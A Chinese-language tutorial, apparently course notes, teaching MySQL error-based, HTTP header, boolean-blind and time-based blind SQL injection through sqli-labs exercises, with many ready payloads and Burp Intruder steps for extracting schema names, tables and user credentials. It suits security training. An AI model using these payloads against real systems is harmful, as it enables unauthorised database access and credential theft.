目录
[1. 报错注入](#1. 报错注入)
[1.1 那么什么是报错注入呢?](#1.1 那么什么是报错注入呢?)
[1.2 报错注入原理](#1.2 报错注入原理)
[1.3 靶场解析](#1.3 靶场解析)
[2. HEAD注入](#2. HEAD注入)
[2.1 相关全局变量](#2.1 相关全局变量)
[2.2 靶场解析](#2.2 靶场解析)
[3. 布尔盲注](#3. 布尔盲注)
[3.1 相关的函数](#3.1 相关的函数)
[3.2 注入漏洞判断](#3.2 注入漏洞判断)
[3.3 靶场解析](#3.3 靶场解析)
[3.5 burp结合布尔盲注](#3.5 burp结合布尔盲注)
[4. 时间盲注](#4. 时间盲注)
[4.1 原理](#4.1 原理)
[4.2 特点](#4.2 特点)
[4.3 常用函数](#4.3 常用函数)
[4.4 语义解析](#4.4 语义解析)
[4.6 靶场解析](#4.6 靶场解析)
【学习目标、重难点知识】
【学习目标】
- 报错注入
- HEAD注入
- 布尔盲注
- 时间盲注
【重难点知识】
- 报错注入
- HEAD注入
- 布尔盲注
1. 报错注入
1.1 那么什么是报错注入呢?
• 在MYSQL中使用一些指定的函数来制造报错,后台没有屏蔽数据库报错信息,在语法发生错误时会输出在前端,从而从报错信息中获取设定的信息。select/insert/update/delete都可以使用报错来获取信息。
• 常用的爆错函数updatexml(),extractvalue(),floor() ,exp()
• 基于函数报错的信息获取(select/insert/update/delete)
• updatexml()函数是MYSQL对XML文档数据进行查询和修改的XPATH函数;
• extractvalue()函数也是MYSQL对XML文档数据进行查询的XPATH函数;
1.2 报错注入原理
由于后台没有对数据库的报错信息做过滤,会输入到前台显示,那么我们可以利用制造报错函数(常用的如extractvalue、updatexml等函数来显示出报错的信息输出)
MySQL 5.1.5版本中添加了对XML文档进行查询和修改的两个函数:extractvalue、updatexml
通过这两个函数可以完成报错注入
extractvalue函数
语法:ExtractValue(target, xpath)
target:包含XML数据的列或XML文档
xpath:XPath 表达式,指定要提取的数据路径。
- concat():用来连接多个字符串
-
group_concat():将某一组或一列数据合并成一个字符串,用逗号分隔
SELECT ExtractValue('1', concat('~',database()));
例如:SELECT ExtractValue('<a><b>1231313<b/></a>', '/a/b');
就是寻找前一段xml文档内容中的a节点下的b节点,这里如果Xpath格式语法书写错误的话,就会报错。这里就是利用这个特性来获得我们想要知道的内容。
(这里我们是为了学习报错注入,所以不需要太详细的知道该函数具体原理)
利用concat函数将想要获得的数据库内容拼接到第二个参数中,报错时作为内容输出。
updatexml函数
语法:updateXML(target, xpath, new_value)
target:要更新的 XML 数据列或 XML 文档。
xpath:指定要更新的 XML 元素的 XPath 表达式。
new_value:新的值,将替代匹配的 XML 元素的内容。
select updatexml('1', concat('~',user()), '1');
比如:
UPDATE your_table
SET xml_data = updatexml(xml_data, '/root/element', 'new_value')
WHERE some_condition;
上述 SQL 查询会在满足 some_condition
的记录中,将 /root/element
的内容替换为 'new_value'
。
如果未xpath_expr找到表达式匹配 ,或者找到多个匹配项,则该函数返回原始 xml_targetXML片段。所有三个参数都应该是字符串。
1.3 靶场解析
Less-13 POST - Error Based - Single quotes- String (基于错误的POST型单引号字符型注入)
1、从判断注入点=>尝试联合无果
。。。。。。
2、尝试报错
123') and ExtractValue('1', concat('~',database(),'~')); -- s
123') and updatexml('1', concat('~',(select version()),'~'), '1') -- s
3、获取所有库名,发现长度有限制
123') and updatexml('1', concat('~',(select group_concat(schema_name) from information_schema.schemata ),'~'), '1') -- s
4、获取所有库名substr():截取字符串
123') and updatexml('1', concat('~',substr((select group_concat(schema_name) from information_schema.schemata ),1,30),'~'), '1') -- s
123') and updatexml('1', concat('~',substr((select group_concat(schema_name) from information_schema.schemata ),31,60),'~'), '1') -- s
....
依次类推
5、获取表名
6、获取字段名
7、获取内容user表账号密码信息
靶场练习
报错注入
Less-5、Less-6、Less-13、Less-14
2. HEAD注入
2.1 相关全局变量
PHP 中的许多预定义变量都是"超全局的",这意味着它们在一个脚本的全部作用域中都可用。
这些超全局变量是:
$_REQUEST (获取GET/POST/COOKIE) COOKIE在新版本已经无法获取了
$_POST (获取POST传参)
$_GET (获取GET的传参)
$_COOKIE (获取COOKIE的值)
$_SERVER (包含了诸如头信息(header)、路径(path)、以及脚本位置(script locations)等等信息的数组)
$_SERVER功能强大。
$_SERVER['HTTP_HOST'] 请求头信息中的Host内容,获取当前域名。
$_SERVER["HTTP_USER_AGENT"] 获取用户相关信息,包括用户浏览器、操作系统等信息。
$_SERVER["HTTP_REFERER"] 获取请求来源
$_SERVER["HTTP_X_FORWARDED_FOR"] 获取浏览用户IP
$_SERVER["REMOTE_ADDR"] 浏览网页的用户ip。
-
获取heard头信息,记录到数据库中
insert into 表名(字段,字段,字段) values (值,值,值)
-
为什么会存在heard头注入
-
- 当目标记录head信息的时候,我们去抓包修改head信息,将sql语句插入到head头里面,目标记录的时候,如果没有做过滤,容易把sql语句带入到数据库执行
2.2 靶场解析
Less-18 POST- Header Injection - Uagent field-Error Based(Header注入- UA-报错)
burp暴力破解
指定爆破模块:sniper
sniper(狙击手模式):替换爆破参数中的内容,如果有多个爆破点,第一个爆破完,再去爆破第二个
battering ram(破城锤):使用相同的字典,同时爆破所有爆破点
pitchfork(音叉模式):同时爆破,爆破点1指定字典1,爆破点2指定字典2
cluster bomb(集束炸弹):依次使用字典1与字典2进行组合爆破,笛卡尔积
成功爆破出账号密码
1、修改UA头报错
User-Agent: 1'
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '127.0.0.1', 'admin')' at line 1
insert into 表名(字段,字段,字段) values ('1',2,3) --a ','127.0.0.1','admin')
insert into 表名(字段,字段,字段) values ('1',123,123) -- s','192.168.13.1','admin')
2、爆数据库名
User-Agent: 1','123','123' and ExtractValue('1', concat('~',database(),'~'))) -- s
3、爆出所有的库名
User-Agent: 1','123','123'and ExtractValue('1', concat('~',(select group_concat(schema_name) from information_schema.schemata ),'~'))) -- s
4、如果长度还是有限制,加上substr()函数,截取字符串
Pass - 7:user_agent
pass - 8:referer
1','123'and ExtractValue('1', concat('~',database(),'~'))) -- s
靶场练习
Less-18、Less19
3. 布尔盲注
有些情况下,开发人员屏蔽了报错信息 ,导致攻击者无法通过报错信息进行注入的判断。这种情况下的注入,称为盲注。盲注根据展现方式,分为boolean型盲注和时间型盲注。
Boolean是基于真假的判断(true or false); 不管输入什么,结果都只返回真或假两种情况; 通过and 1=1和and 1=2可以发现注入点。
Boolean型盲注的关键在于通过表达式结果与已知值进行比对,根据比对结果 判断正确与否。
3.1 相关的函数
通过长度判断length():length(database())>=x
通过ascII码判断:ascii():ascii(substr(database(),1,1)) >=x
通过字符判断substr():substr(database(),1,1) ='s'
3.2 注入漏洞判断
1.id=1' 报错
2.id=1 and 1=1 结果和id=1一样
3.id=1 and 1=2 结果异常
3.3 靶场解析
Pass - 10 布尔盲注01,02,03
判断闭合方式:
数值型
判断长度:
?id=1 and length(database())=14 -- s
判断第一个字符:
ascii二分法判断第一个字符
?id=1 and ascii(substr(database(),1,1))=122
判断第二个字符:
?id=1 and ascii(substr(database(),2,1))>100
POST - 布尔盲注
&username=qwe' or length(database())=14 #
靶场练习
Less-8 GET - Blind - Boolian Based - Single Quotes (布尔型单引号GET盲注)
1、首先判断注入点,既不能联合也不能报错
2、尝试布尔盲注,首先判断当前数据的长度
二分法判断长度
http://sqli-labs-maste/Less-8/?id=1' and length(database())>10 -- s
http://sqli-labs-maste/Less-8/?id=1' and length(database())>5 -- s
...........
http://sqli-labs-maste/Less-8/?id=1' and length(database())=8 -- s
3、判断库名具体的字符-
security
判断第1位,二分法,依次去判断ascii码
http://sqli-labs-maste/Less-8/?id=1' and ascii(substr(database(),1,1))>115 -- s
判断第2位,二分法,依次去判断ascii码
http://sqli-labs-maste/Less-8/?id=1' and ascii(substr(database(),2,1))>115 -- s
.。。。。。。。。。。。
判断第8位,二分法,依次去判断ascii码
http://sqli-labs-maste/Less-8/?id=1' and ascii(substr(database(),14,1))>115 -- s
直到判断出所有字符
4、判断表长度
http://sqli-labs-maste/Less-8/?id=1' and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)>6 -- s //返回异常
http://sqli-labs-maste/Less-8/?id=1' and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=6 -- s //返回正常
说明第一个表有6个字符
5、判断表名每个字符ascii值
-
判断第1个表名的第一个字符的ascii值
http://sqli-labs-maste/Less-8/?id=1' and
ascii(substr(
(select table_name from information_schema.tables where table_schema=database() limit 0,1)
,1,1)
)>80 -- s
........
-
判断第2个表名的第一个字符的ascii值(判断之前先判断一下第2个表的长度)
http://sqli-labs-maste/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))>80 -- s
-
直到判断出想要的用户相关的表
6、如果找到users表,表中的字段
7、获取内容值
判断长度:
http://sqli-labs-maste/Less-8/?id=1' and (length(username) from users limit 0,1)>4 -- s
判断内容:
http://sqli-labs-maste/Less-8/?id=1' and
(ascii(substr((select username from users limit 0,1),1,1)))>68
思考?每次只需要变动的地方是什么?
3.5 burp结合布尔盲注
先写好爆破语句
?id=1' and (ascii(substr((select username from users limit 0,1),1,1)))=68 -- s
抓包,将请求放入爆破模块中
选择爆破方式,添加爆破变量
选择爆破的字典
开始攻击
筛选长度
1------68
2------117
3------109
4------98
对着ASCII码,账户是Dumb
4. 时间盲注
代码存在sql注入漏洞,然而页面既不会回显数据,也不会回显错误信息,语句执行后也不提示真假,我们不能通过页面的内容来判断。这里我们可以通过构造语句,通过页面响应的时长,来判断信息,这既是时间盲注。
4.1 原理
利用sleep()或benchmark()等函数让mysql执行时间变长经常与if(expr1,expr2,expr3)语句结合使用,通过页面的响应时间来判断条件是否正确。if(expr1,expr2,expr3)含义是如果expr1是True,则返回expr2,否则返回expr3。
4.2 特点
- 通过时间回显的延迟作为判断payload=1' and sleep(5)--+ 有延迟则考虑时间盲注
- 利用sleep()或benchmark()函数延长mysql的执行时间
- 与if()搭配使用
4.3 常用函数
• left(m,n) --从左向右截取字符串m返回其前n位
• substr(m,1,1) --取字符串m的左边第一位起,1字长的字符串
• ascii(m) --返回字符m的ASCII码
• if(str1,str2,str3)--如果str1正确就执行str2,否则执行str3
• sleep(m)--使程序暂停m秒
• length(m) --返回字符串m的长度
• count(column_name) --返回指定列的值的数目
4.4 语义解析
if(expr1,expr2,expr3)
对expr1进行布尔判断,如果为真,则执行expr2,如果为假,则执行expr3
常用payload;
if(length(database())>1,sleep(5),1)
如果数据库名字符长度大于1为真,mysql休眠5秒,如果为假则查询1。而查询1的结果,大约只有几十毫秒,根据Burp Suite中页面的响应时间,可以判断条件是否正确。
靶场解析:
判断当前数据库名的第一个字符的ASCII码
http://sqli21/Pass-13/index.php?id=1" and if(
ascii(
substr(
database()
,1,1)
)>115
,sleep(5),1) -- a
靶场练习
Less-9 GET - Blind - Time based. - Single Quotes (基于时间的GET单引号盲注)
Less-10 GET - Blind - Time based - double quotes (基于时间的双引号盲注)
4.6 靶场解析
Less-9 GET - Blind - Time based. - Single Quotes (基于时间的GET单引号盲注)
1、判断数据库长度
2、判断数据库字符
id=1' and if((ascii(substr(database(),1,1)))>115,sleep(5),1)-- s
3、判断表名长度
4、判断表名字符
。。。。。。。。。。省略自行练习
5、查找出内容
之后我会继续出sql注入知识点总结直至完整,如有需要请关注持续更新(本文部分内容来自课件,如有版权问题请与我联系)